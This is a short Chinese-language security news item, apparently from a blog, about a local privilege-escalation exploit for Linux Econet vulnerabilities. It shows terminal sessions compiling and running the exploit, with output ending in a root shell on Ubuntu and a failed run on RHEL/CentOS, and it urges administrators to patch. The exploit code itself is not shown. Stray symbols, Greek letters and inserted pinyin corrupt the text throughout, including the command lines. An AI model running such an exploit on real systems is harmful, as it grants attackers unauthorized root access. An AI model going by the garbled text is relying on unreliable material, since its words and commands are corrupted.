系統安全高(gāo)手 Dan Rosen✘φεberg 發布了(le)一(yī)段C程序, 這(zhè)段20φ≠ 0多(duō)行(xíng)的(de)程 序利用(yòng)了(le) Linux Econet 協議(yì)的(de)Ω£λγ3個(gè)安全漏洞,可(kě)以導緻本地(dì)帳号對♦₽→(duì)系統進行(xíng)拒絕服務或特權提升,也(yě)就(jiù '↔)是(shì)說(shuō)一(yī)個(gè)普§™¥通(tōng)用(yòng)戶可(kě)以通(tōng)過運↔§₹行(xíng)這(zhè)段程序後輕松獲得(de☆ ★♠) root shell,以下(xià)在 update 過的(de) Ubu✔Ωntu 10.04 Server LTS 上(s±'φhàng)測試通(tōng)過:
$ sudo apt-get updat§≤e
$ sudo apt-get upgra®Ωde
$ uname -r
2.6.32-21-server
$ gcc full-nelson.c -o f≈←↔ull-nelson
$ ./full-nelson
[*] Resolving kernel addresses..."¥ £
[+] Resolved econet_α>"ioctl to 0xffffffffa0131510
[+] Resolved econet_ops ®♥to 0xffffffffa0131600
[+] Resolved commit_creds t★φ✘o 0xffffffff8108b820
[+] Resolved prepare_kernel_c®♦∏red to 0xffffffff8108bc00
[*] Calculating target...
[*] Failed to set Econet addressφ$.
[*] Triggering payload..☆¶α×.
[*] Got root!
#
由于 RHEL/CentOS 默認不(bù)支持 Econet 協議≥&(yì),所以測試沒有(yǒu)通(tōng)過:★
# yum update
$ uname -r
2.6.18-194.26.1.el5
$ gcc full-nelson.c -o full↔ "♥-nelson
$ ./full-nelson
[*] Failed to open file desc₽¥<riptors.
其它Linux版本暫時(shí)未進行( λ××xíng),請(qǐng)Linux服務器(qì)系統管理(lǐ)員(yγ≈∏♥uán)及時(shí)進行(xíng)修複。